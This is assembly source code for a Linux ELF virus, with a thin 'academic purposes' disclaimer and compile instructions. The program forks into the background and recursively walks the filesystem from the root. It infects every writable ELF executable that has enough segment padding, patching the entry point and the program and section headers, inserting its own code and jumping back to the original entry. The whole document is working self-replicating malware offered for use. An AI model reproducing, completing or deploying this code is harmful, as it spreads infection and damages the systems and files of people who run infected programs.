
;(c)Gildo
;
;this source is been written only for accademical purpouses,
;it's not intended for malicious purpouses else I'm not responsable
;of how you'll use it.

;compile with:
;nasm -f elf virus.asm -o virus.o && ld -e main virus.o -o virus
;thanks to Silvio Cesare a lot, I think I'll love him
;thanks to my friends Perikles,uNdErX,d3lta,T00FiC,urgo32,...
;and every programmer not closed mind

%ifdef DEBUG
extern printf
%endif


section .text

global main


main:
	push edx      ;;;;;;;;pointer to func called at atexit()
	push ebp            ;[ebp]=old ebp
	mov ebp,esp 

	;here I fork so I go in background
	mov eax,2
	mov ebx,0
	int 0x80   ;SYS fork()  the background will do the infection
	cmp eax,0
	jne parent
	
	mov eax,24
	int 0x80   ;getuid
	push eax            ;[ebp-4]=uid

	mov eax,47
	int 0x80   ;getgid
	push eax             ;[ebp-8]=gid
	
	sub esp,64           ;[ebp-72]=struct stat

	push dword 0
	push dword 0x2f ;0x2f='/' <-directory root to begin the scan
	;push dword '/aha'
	push dword 7 ;writepermissions 4=readonly,2=write only
	call scan_dir	
	add esp,12

	add esp,64  ;restore stack
	add esp,8   ;restore uid,gid

	;------the child finish
	mov eax,1
	mov ebx,0
	int 0x80   ;exit 
	
   parent:
   	push dword 0x0a297374  
   	push dword 0x6e656d6d 
   	push dword 0x6f632072
   	push dword 0x6f662820
   	push dword 0x6d682e7a
   	push dword 0x7a614a40
   	push dword 0x6f646c69
   	push dword 0x47206c69
   	push dword 0x616d650a 
   	;0x8c from main:
	push dword 0x0a737572 
	push dword 0x6976206f 
	push dword 0x646c6947 
	mov eax,4
	mov ebx,1
	mov ecx,esp
	mov edx,12*4
	int 0x80
	add esp,12*4
   
   parent_process:   ;the parent process jumps here
	pop ebp
	pop edx   ;;;;;;;atexit()

	jmp ahah  ;here overwrite a jump tp old entry point
   ahah:	
	mov eax,1
	mov ebx,0
	int 0x80   ;exit (here I will write a jmp to old entry point)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


scan_dir:
	;push ebp don't change ebp! else how can I access global members form 
	 	; my recursive function?!? So I'll use esp as base pointer
	;mov ebp,esp
	mov esi,esp
	add esi,8 ;point to arg2: filename
	mov edi,esp
	add edi,4 ; point to arg1: 
	;writepermissions (&2==2 if can write for parent directory permissions) 

   %ifdef DEBUG
	push esi     ;;debug esi(arg2)
	push string3a 
	call printf
	add esp,8    ;;
   %endif
   
	xor ecx,ecx ;;debug edi(arg1)
	mov cl,byte [edi]
   %ifdef DEBUG
	push ecx     
	push string10a 
	call printf
	add esp,8    ;;
   %endif
   
	;-----------stack variables
 	sub esp,4    ;fd
 	sub esp,1    ;permissions 00-07
 	sub esp,1    ;file_type 010=regular file,04=directory 
	sub esp,128  ;pathname ;;;TODO:::change to 4095 as linux/limits.h says

	;-----------stat
	mov eax,106
	mov ebx,esi      ;pointer to ascii filename
	mov ecx,ebp
	sub ecx,72   ;ecx=pointer to struct stat
	int 0x80
   %ifdef DEBUG
	push eax     ;;debug
	push string6a 
	call printf
	add esp,4   
	pop eax      ;;
   %endif
	cmp eax,0
	jge c_stat
	jmp error_stat
    c_stat:
    
	;----------verify permissions
	mov ebx,ebp
	sub ebx,72   ;ebx=pointer to struct stat
	mov ax,[ebx+8] ;st_mode	(short)
	mov dx,ax
	;look who owns the permissions
	mov cx,word [ebx+12] ;stat.st_uid 
	cmp word cx,[ebp-4] ;process uid (short)
	je user_permissions
	mov cx,word [ebx+14] ;stat.st_gid
	cmp cx,word [ebp-8]  ;process gid (short)
	je group_permissions
	cmp word [ebp-8],0   ;process gid==0
	je user_permissions
    others_permissions:
	and al,7q ;7q=mask for others	
	jmp c_permissions	
    user_permissions:
	shr ax,6  ;shift right of 6 bits
    	and al,7q
    	jmp c_permissions
    group_permissions:
    	shr ax,3  ;shift right of 3 bits
    	and al,7q
    c_permissions:
	mov byte [esp+128+1],al     ;store file permissions of the user
	xor ecx,ecx ;;;debug permissions
	mov cl,al
   %ifdef DEBUG
	push ecx
	push string5a
	call printf
	add esp,8   ;;
   %endif
	
	;--------verify file type
	mov ebx,ebp
	sub ebx,72   ;ebx=pointer to struct stat
	mov ax,[ebx+8] ;st_mode	(short)
	and ax,170000q ;bit-mask for file-type
	shr ax,12
	mov byte [esp+128],al ;store the file-type
	
	xor ecx,ecx ;;;debug file-type
	mov cl,al
   %ifdef DEBUG
	push ecx
	push string7a
	call printf
	add esp,8   ;;
   %endif

	;decision: if is a regular file->if write perm.-> infect it
	;	   if is a directory->chdir(directory);scan_dir(*);
	mov al,byte [esp+128]
	cmp al,4q 
	je is_directory
	cmp al,10q
	je is_regular_file
	jmp e_scan_dir

   is_regular_file:
	;infect it, the file name is pointed by esi
	mov ecx,[edi] ;;;debug writepermissions
   %ifdef DEBUG
	push ecx
	push string9a
	call printf
	add esp,8   ;;
   %endif

	;if I have write permission of my parent directory and 
	;if the file permissions allow me to write then infect the file
	mov ecx,[edi] ;writepermissions (parentdir)
	and cl,2q 
	cmp cl,2q
	je c1_is_regular_file ;if I have parent permissions
    	jmp e_scan_dir
   c1_is_regular_file:
	mov cl,byte [esp+128+1]    ;look file permissions (of stat)
	and cl,2q
	cmp cl,2q
	je c2_is_regular_file
    	jmp e_scan_dir
   c2_is_regular_file:       ;now I can infect
	call infect_file
	jmp e_scan_dir
	
   is_directory:
	;----------save the current working directory in the stack
	mov eax,183
	mov ebx,esp  ;pathname
	mov ecx,128
	int 0x80     ;SYS getcwd

   %ifdef DEBUG
	push eax  ;;debug getcwd status
	push string12a
	call printf
	add esp,8  ;;
	push esp  ;;debug current dir
	push string11a
	call printf
	add esp,8 ;;;
   %endif
	
	;----------open file descriptor of the directory
	mov eax,5
	mov ebx,esi ;ptr to ascii filename
	mov ecx,0  ;O_RDONLY
	mov edx,0
	int 0x80
	cmp eax,0
	jge c1_is_directory 
	jmp error_opening_file
   c1_is_directory:
	mov [esp+128+2],eax  ;;fd
		
   %ifdef DEBUG
	push dword [esp+128+2] ;;debug fd
	push string4a
	call printf
	add esp,8    ;;
   %endif

	;----------chdir path
	mov eax,12
	mov ebx,esi
	int 0x80  ;SYS chdir	


	;----------readdir
	sub esp,266  ;allocate space for dirent
    l_readdir:
	mov eax,89
	mov ebx,[esp+266+128+2]  ;;fd
	mov ecx,esp     ;ptr to struct dirent 
	mov edx,1       
	int 0x80   ;sys readdir
    	cmp eax,1
    	jne e_l_readdir
	;call scan_dir for every file, 
	;prototipe: scandir(dword [esp+4]=writepermissions,esp+8=ptr to filename) 
	;if dirent.d_name="." or ".." -> skip
	cmp word [esp+10],0x002e ;if == ".\0" skip
	je skip_l_readdir
	cmp word [esp+10],0x2e2e ;if == ".." skip 
	je skip_l_readdir
	;cmp word [esp+10],	
	xor eax,eax
	mov al, [esp+266+128+1] ;directory permissions
	add esp,10 ;dirent.d_name is at offset 10
	push eax
	call scan_dir  ;;;here be recursive
	add esp,4  ;restore writepermissions
	sub esp,10 ;restore dirent.d_name is at offset 10

    skip_l_readdir:
	jmp l_readdir	
    e_l_readdir:    	
	add esp,266  ;restore allocated space for dirent

 	;----------close file descriptor fd
	mov eax,6
	mov ebx,[esp+128+2]  ;;fd
 	int 0x80  ;SYS close
 	
	;----------chdir previous current directory
	mov eax,12
	mov ebx,esp
	int 0x80	

  error_stat:
  error_opening_file:
  e_scan_dir:
	add esp,134  ;restore all allocated stack	
	ret
;end scan_dir



%ifdef DEBUG
string1a: db 'uid=%d',10,0
string2a: db 'gid=%d',10,0
string3a: db 'arg2 passed (filename)=%s',10,0
string4a: db 'fd=%u',10,0
string5a: db 'permissions=%u',10,0
string6a: db 'stat return=%d',10,0
string7a: db 'file-type=%u',10,0
string8a: db 'infecting file: %s',10,0
string9a: db 'writepermissions= %u',10,0
string10a: db 'arg1 passed (wp)=%u',10,0
string11a: db 'current dir=%s',10,0
string12a: db 'getcwd return=%d',10,0
%endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;INFECT


%define VIRUS_SIZE 0x1000
%define STACK2 50


infect_file:
	;the filename to infect is in esi
	;-------------------stack2
	sub esp,STACK2   ;allocate memory     
	mov ebx,esi
	mov [esp+STACK2-44],esi  ;;;;;;;;;;;;;[esp+STACK2-44]=ptr to filename   
	
;;open the file# in: ebx (file-name); out: eax (file descriptor);
open:
	mov eax,5
	mov ecx,2    ;2=O_RDWR ,but I can open O_RDONLY=0 becouse I read only now
	mov edx,0
	int 0x80     ;open file
	cmp eax,0
	jg no_open_error
	jmp open_error  ;error opening file, switch to the next file
    no_open_error:
	mov [esp+STACK2-4],eax    ;;;;;;;;;;;;;;[esp+STACK2-4]=fd  (read-write)   
    %ifdef DEBUG
    	push eax ;;debug
	push string1
	call printf
	add esp,8
    %endif
;;end open


;;ask the kernel the file length, stat struct defined in <asm/stat.h>
;;			stat(const char *file_name, struct stat *buf);
file_length:
	mov eax,106
	mov ebx,esi  ;filename (assume in esi)
	sub esp,64      ;pass stat struct on the stack, alloca size(64)
	mov ecx,esp     ;ecx <- stat struct address
	int 0x80              ;;;SYS stat
	mov eax,[esp+0x14]  ;filesize
	add esp,64      ;restore the stack
	mov [esp+STACK2-8],eax    ;;;;;;;;;;;;;;[esp+STACK2-8]=file length   
    %ifdef DEBUG
        push dword [esp+STACK2-8]
	push string5 ;;;debug
	call printf
	add esp,8    ;;;
    %endif

;;map the file into memory [void* mmap(start,length,prot,flags,fd,offset)]
;;  					in file <asm/mman.h>
;;the arguments stay in a struct that I create in the stack
;; mmap_arg_struct in file <usr/src/linux/arch/i386/kernel/sys_i386.c>
mmap:
	mov eax,90
	mov ecx,[esp+STACK2-8] ;filelength 
	mov edx,[esp+STACK2-4] ;fd 
	sub esp,24        ;alloc size of struct mmap_arg_struct
	mov dword [esp],0 ;start
	mov [esp+4],ecx   ;len
	mov dword [esp+8],3  ;prot READ-WRITE
	mov dword [esp+12],2 ;flag MAP_PRIVATE
	mov [esp+16],edx     ;fd
	mov dword [esp+20],0 ;offset
	mov ebx,esp 
	int 0x80  ;;mmap system call(eax=90,ebx=ptr to mmap_arg_struct)
	add esp,24
	cmp eax,-1
	jne c_mmap
	jmp mmap_error
    c_mmap:
	mov [esp+STACK2-12],eax    ;;;;;;;;;;;;;;[esp+STACK2-12]=pointer to mapped file
    %ifdef DEBUG
    	push eax  ;;;debug
	push string6 
	call printf
	add esp,8
    %endif
;end mmap

;;is suitable(if ELF and there is space for virus in memory)
is_suitable:
	;scas (scan strings ELF) or repe
	;but I coompare only the first 4 bytes ( a dword),so:
	mov edx,[esp+STACK2-12] ;ptr mapped
	mov ebx,[edx]    ;.ELF
	mov eax,0x464c457f  ;45=E,4c=L,46=F
    %ifdef DEBUG
    	push eax
    	push ebx
    	push string12
    	call printf
    	add esp,4
    	pop ebx
    	pop eax
    %endif
	cmp ebx,eax
	je c1_is_suitable
   error_suitable:
	jmp suit_error
   c1_is_suitable:
	;now read the ehdr (I need these informations first), but 
;TODO: I don't want e_phoff or e_shoff > filesz and entry out off range 
   read_ehdr:
	mov ebx,[esp+STACK2-8]  ;file len
	cmp ebx,0x130 
	jl error_suitable   ;error file size too small
   c_ehdr:
	mov esi,[esp+STACK2-12]  ;ptr mapped
	mov eax,[esi+0x18]
	mov [esp+STACK2-16],eax   ;;;;;;;;;;;;;;;;[esp+STACK2-16]=e_entry
	mov eax,[esi+0x1c]
	mov [esp+STACK2-20],eax   ;;;;;;;;;;;;;;;;[esp+STACK2-20]=e_phoff
	mov eax,[esi+0x20]
	mov [esp+STACK2-24],eax   ;;;;;;;;;;;;;;;;[esp+STACK2-24]=e_shoff
	mov eax,dword [esi+0x2c]    
	;else save only word, but after don't pop eax 
	and eax,0xffff ;only 2 bytes
	mov [esp+STACK2-28], eax   ;;;;;;;;;;;;;;;;[esp+STACK2-28]=e_phnum
	mov eax,dword [esi+0x30]
	and eax,0xffff
	mov [esp+STACK2-32],eax    ;;;;;;;;;;;;;;;;[esp+STACK2-32]=e_shnum
	
    %ifdef DEBUG
	push dword [esp+STACK2-16] 
	push string3
	call printf
	add esp,8  
	
	push dword [esp+STACK2-20] 
	push string3
	call printf
	add esp,8  
	
	push dword [esp+STACK2-24] 
	push string3
	call printf
	add esp,8  

	push dword [esp+STACK2-28] 
	push string3
	call printf
	add esp,8  
	
	push dword [esp+STACK2-32] 
	push string3
	call printf
	add esp,8  
    %endif
    ;end read_ehdr

    is_suitable_space:
	;look if there is space between end of section 2 and begin of 3
	mov esi,[esp+STACK2-12] ;ptr to mapped
	mov ebx,[esp+STACK2-20] ;e_phoff
	add esi,ebx      ;ph[0]
	mov ecx,[esi+32*3+8]  ;ph[3].p_vaddr
	mov ebx,[esi+32*2+16] ;ph[2].p_filesz 
	mov [esp+STACK2-36],ebx    ;;;;;;;;;;;;;;;;[esp+STACK2-36]=ph[2].p_filesz
	add ebx,[esi+32*2+8]  ;ph[2].p_vaddr  
	sub ecx,ebx      ;ph[3].p_vaddr-ph[2].p_vaddr-ph[2].p_filesz
	;verify ecx > VIRUS_SIZE
	mov eax,VIRUS_SIZE
	cmp ecx,eax
	jl error_suitable ;exit    ;;there is not space to write virus
    %ifdef DEBUG
	push ecx
	push string10
	call printf
	add esp,8
    %endif
	;---------here I look it I have more than 3 ph, else file is not
	;_________compiled with gcc, but for example with ld (and I assume 
	;_________ph[2] is the text section
	mov ebx,[esp+STACK2-28]   ;e_phnum
	cmp ebx,5
	jl error_suitable
    ;end is_suitable_space
;end is_suitable

patch_ehdr:
    patch_e_entry:
 	   ;the new e_entry will be where the code section finish
	mov ebx,0x08048000
	add ebx,[esp+STACK2-36]    ;ebx<-new entry
	mov esi,[esp+STACK2-12]    ;ptr mapped
	mov [esi+0x18],ebx  ;fix entry
    ;end patch_e_entry

    patch_e_sh_offset:
	add dword [esi+32],VIRUS_SIZE  
    ;end patch_e_sh_offset

patch_phdrs:
    %ifdef DEBUG
	push dword [esp+STACK2-36] ;;debug
	push string1
	call printf ;;debug
	add esp,8
    %endif
	mov ecx,[esp+STACK2-28] ;e_phnum
	mov edx,[esp+STACK2-20] ;e_phoff
	mov esi,[esp+STACK2-12] ;ptr to mapped
	add esi,edx      ;ph[0]
	mov eax,[esp+STACK2-36] ;insertion_offset

    l_read_ph:
    	cmp dword [esi+4],0    ;.text ph
    	jne dont_patch_phtext
	;here patch .text ph 
	add dword [esi+16],VIRUS_SIZE ;patch p_filesz
	add dword [esi+20],VIRUS_SIZE ;patch p_memsz
    dont_patch_phtext:
	cmp eax,[esi+4]  ;if offset <= insertion_offset patch ->jg dont...
	jg dont_patch_ph
	;here patch phs at offset >= insertion_offset
	add dword [esi+4],VIRUS_SIZE ;patch p_offset
    dont_patch_ph:
    %ifdef DEBUG
    	push eax
    	push ecx
    	
    	push string7
    	call printf
    	add esp,4

	push dword [esi+4]
	push string11 ;p_offset
	call printf
	add esp,8
	
	push dword [esi+16]
	push string9 ;p_filesz
	call printf
	add esp,8
    	
	push dword [esi+20]
	push string13 ;p_memsz
	call printf
	add esp,8
	
    	pop ecx
    	pop eax
    %endif
    	add esi,0x20 ;next ph
	loop l_read_ph
;end patch_phdrs


patch_shdrs:
	mov ecx,[esp+STACK2-32] ;e_shnum (loop counter)
	mov edx,[esp+STACK2-24] ;e_shoff
	mov esi,[esp+STACK2-12] ;ptr mapped
	add esi,edx      ;sh[0]
	mov eax,[esp+STACK2-36] ;insertion_offset
    l_read_sh:
	mov ebx,[esi+16]  ;sh_offset ;;;;;;;;;;;;patch .text
	add ebx,[esi+20]  ;sh_size
	cmp ebx,eax       ;sh.sh_offset+sh.sh_size-insertion_size
	jne dont_patch_shtext 
	;patch .text
	add dword [esi+20],VIRUS_SIZE  ;patch sh_size
    dont_patch_shtext:
    	cmp [esi+16],eax  ;sh_offset < insertion_offset -> don't patch 
    	jl dont_patch_sh
    	;patch sh
	add dword [esi+16],VIRUS_SIZE  ;patch sh_offset
    dont_patch_sh:
    
    %ifdef DEBUG
    	push eax
    	push ecx
    	
    	push string7
    	call printf
    	add esp,4

	push dword [esi+16]
	push string15 ;sh_offset
	call printf
	add esp,8
	
	push dword [esi+20]
	push string16 ;sh_size
	call printf
	add esp,8
    	
    	pop ecx
    	pop eax
    %endif
	add esi,40  ;next sh 
	loop l_read_sh 
;end patch_shdrs

find_current_entry_point: ;so I'll copy this code into the infected
	mov esi,dword [0x08048018] ;current entry
     %ifdef DEBUG
        push esi
        push string17
        call printf
        add esp,8
     %endif
;end find_current_entry_point

write:
	;open the file for writing
	;mov eax,5
	;mov ebx,[esp+STACK2-44] ;filename infected
	;mov ecx,101q ;write-create-truncate
	;mov edx,555q ;read-execute from all
	;int 0x80
	mov eax,[esp+STACK2-4] ;<---old fd
	mov [esp+STACK2-40],eax    ;;;;;;;;;;;;[esp+STACK2-40]=write fd
	;write before insertion
	mov ebx,eax ;fd
	mov eax,4
	mov ecx,[esp+STACK2-12] ;mapped
	mov edx,[esp+STACK2-36] ;insertion_offset 
	int 0x80  ;;write first before insertion_offset
	;write virus
	mov eax,4
	mov ecx,esi         ;entry point address
	mov edx,VIRUS_SIZE  ;virus length 
	int 0x80  ;;write the virus at insertion_offset
	;perhaps I have written less then VIRUS_SIZE bytes, so I have to
	;seek the fd of VIRUS_SIZE more then the insertion_offset
	mov eax,19
	mov ecx,[esp+STACK2-36] ;insertion_offset
	add ecx,VIRUS_SIZE
	mov edx,0  ;SEEK_SET
	int 0x80   ;SYS lseek
	;write after insertion (assume ebx=fd)
	mov ecx,[esp+STACK2-36] ;insertion_offset
	mov edx,[esp+STACK2-8]  ;total file length
	sub edx,ecx ;remaining length to write
	mov eax,4
	add ecx,[esp+STACK2-12] ;mapped
	int 0x80  ;;write at end after insertion_offset
	
;fix jmp to old entry point (instead of exit) and jmp offsets
	;seek the fd at insertion_offset+0xb7, 
	;where I'll put a jump to old entry point
	mov eax,19
	mov ecx,[esp+STACK2-36] ;insertion_offset
	add ecx,0xb7  ;it is the *jmp ahah* eheh
	mov edx,0  ;SEEK_SET
	int 0x80   ;SYS lseek
   %ifdef DEBUG 
   	push ebx
   	push ecx
   	push string20
   	call printf
   	add esp,4
   	pop ecx
   	pop ebx
   %endif
	;write the address to jmp  (assume ebx=fd)
	add ecx,0x08048004  ;address where instruction finish
	mov edx,[esp+STACK2-16] ;old_entry
	sub edx,ecx
	push edx     ;the opaddress part
	mov ecx,esp
	mov edx,4
	mov eax,4
	int 0x80   ;SYS write
	add esp,4
;end fix
;end write

suit_error:
munmap:
	mov eax,91
	mov ebx,[esp+STACK2-12] ;ptr to map
	mov ecx,[esp+STACK2-8]  ;map length
	int 0x80

;;close the file
mmap_error:
close:
	mov eax,6
	mov ebx,[esp+STACK2-4]  ;fd
	int 0x80      ;close

;;exit
open_error:
__exit: 
	add esp,STACK2  ;restore the stack allocated at the beginning
	ret
	
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;end main;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;data in section text;;;;;;;;;;;;;;;;;;;;;;;;;;
%ifdef DEBUG
string1: db 'fd=%d',10,0 
string2: db 10,0
string3: db '0x%X',10,0
string4: db 'at offset 0x%X there is: ',0
string5: db 'file size=%dbytes',10,0
string6: db 'mmap ptr=0x%X',10,0
string7: db 'ecx=%d',10,0
string8: db 'ebp = 0x%X',10,0
string9: db 'filesz = 0x%X',10,0
string10: db 'free space for insertion = 0x%X',10,0
string11: db 'offset = 0x%X',10,0
string12: db 'signatureELF = 0x%X',10,0
string13: db 'p_memsz = 0x%X',10,0
string14: db '--------------------',10,0
string15: db 'sh_offset = 0x%X',10,0
string16: db 'sh_size = 0x%X',10,0
string17: db 'entry = 0x%X',10,0
string20: db 'seekKKKk to 0x%X',10,0
infected: db 'infected',0
off_table:    ;table with the file offsets where I want to look 
	dd 0x18 ;entry point (e_entry)
	dd 0x1c ;program header offset (e_phoff)
	dd 0x20 ;section header offset (e_shoff)
	dd 0x2c ;number of phs (e_phnum) (only 2 bytes!!!)
	dd 0x30 ;number of shs (e_shnum) (only 2 bytes!!!)
	dd 0    ;end of table
%endif
	;I let some words 
section .data
db 'hello, nice boys, I hope you will enjoy this program written with nasm.I want to say thanks to all my programmers friend.Bye from Gildo.',0


